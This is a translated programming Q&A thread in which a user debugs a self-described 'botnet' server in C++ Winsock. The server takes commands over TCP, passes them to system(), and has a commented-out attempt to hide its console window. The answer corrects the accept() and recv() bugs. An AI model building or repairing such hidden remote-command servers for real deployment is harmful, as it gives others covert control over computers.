2014-09-24 201 views
0

我想用winsock制作一个简单的僵尸网络(不是用于恶意目的),客户端可以(至少在语法上),但是当我调用accept函数时服务器有错误,它返回SOCKET_ERROR,我调用WSAGetLastError()来获取错误号并返回10014.在MSDN页面中,它表示:Winsock接受函数的错误

错误的地址。

系统在尝试使用呼叫的指针参数时检测到无效的指针地址。如果应用程序传递无效的指针值,或者缓冲区的长度太小,则会发生此错误。例如,如果作为sockaddr结构的参数的长度小于(sockaddr)的大小。

那么,我不知道该怎么做。

botnetserver.cpp

#include <winsock2.h> 
#include <windows.h> 
#include <iostream> 

#define PORT 5051 
#define BUFFMAX 1024 // Buffer max 

using namespace std; 

int main() { 
    SOCKADDR_IN svaddr; // server address 
    SOCKADDR_IN claddr; // client addres 
    SOCKET listensocket; 
    SOCKET client; 
    WSADATA WsaData; 
    char buffer[BUFFMAX]; 
    int i = sizeof(client); 
    //ShowWindow(GetConsoleWindow(), SW_HIDE);, fail 

    WSAStartup(MAKEWORD(2, 2), &WsaData); 

    listensocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 

    svaddr.sin_family = AF_INET; 
    svaddr.sin_port = htons(PORT); 
    svaddr.sin_addr.s_addr = htonl(INADDR_ANY); 

    bind(listensocket, (SOCKADDR*) &svaddr, sizeof(svaddr)); 
    client = listen(listensocket, 5)) == SOCKET_ERROR 
    accept(listensocket, (SOCKADDR*)&claddr, &i) // Error here 

    while(true) { 
     /* other things i tried 
     cout << "\n\n" << buffer << "\n\n"; 
     cout << o << "\n"; 
     buffer[BUFFMAX] = '\0';*/ 
     recv(client, buffer, BUFFMAX, 0); 
     if(strcmp(buffer, "<fim>") != 0) { 
      system(buffer); 
      //break; 
     } else {break;} 
    } 
    closesocket(client); 
    closesocket(listensocket); 
    WSACleanup(); 
    system("pause"); 
} 
+0

更多问题:1。你忽略了'recv()'返回的值。它可以是-1表示错误,或者零表示流的结束。 2.假设你刚接收到的缓冲区是空终止的是无效的。如果你想让它以null结尾,或者发送它为空终止,并确保你已经读取完整的消息,然后你使用它作为空终止,否则在recv()之后自己终止它。' – EJP 2014-09-24 04:16:50

回答

1

有两个错误在你的代码:需求

  1. int i = sizeof(client);

i被初始化为sizeof(claddr)代替。这是accept()失败的原因。 sizeof(client)小于sizeof(claddr)因此accept()认为您的claddr缓冲区太小而无法接收客户端的IP地址。这在您引用的文档中有明确说明:

系统在尝试使用呼叫的指针参数时检测到无效的指针地址。如果应用程序传递无效的指针值,或缓冲区的长度太小,则会发生此错误。例如,如果作为sockaddr结构的参数的长度小于(sockaddr)的大小。

  • client = listen(listensocket, 5)) == SOCKET_ERROR
  • clientSOCKET句柄。您不能将==运算符的结果分配给SOCKET。您需要将accept()的结果分配给client

    改变那些线条看起来像这个:

    int i = sizeof(claddr); 
    ... 
    listen(listensocket, 5); 
    client = accept(listensocket, (SOCKADDR*)&claddr, &i); 
    

    虽这么说,你还需要修复您的recv()循环。 recv()不会返回空终止的数据,但strcmp()要求。您需要在读取后将缓冲区空终止,或者使用strncmp()代替,使用recv()的结果作为缓冲区长度。而且您需要考虑到可能需要多次拨打recv()来接收<fim>,因此您需要实施适当的缓冲。

    而且,您需要在所有函数调用中添加适当的错误处理。

    +0

    它的工作!谢谢,和约2:一些代码我忘了删除,以及谢谢 – user3478933 2014-09-24 05:05:41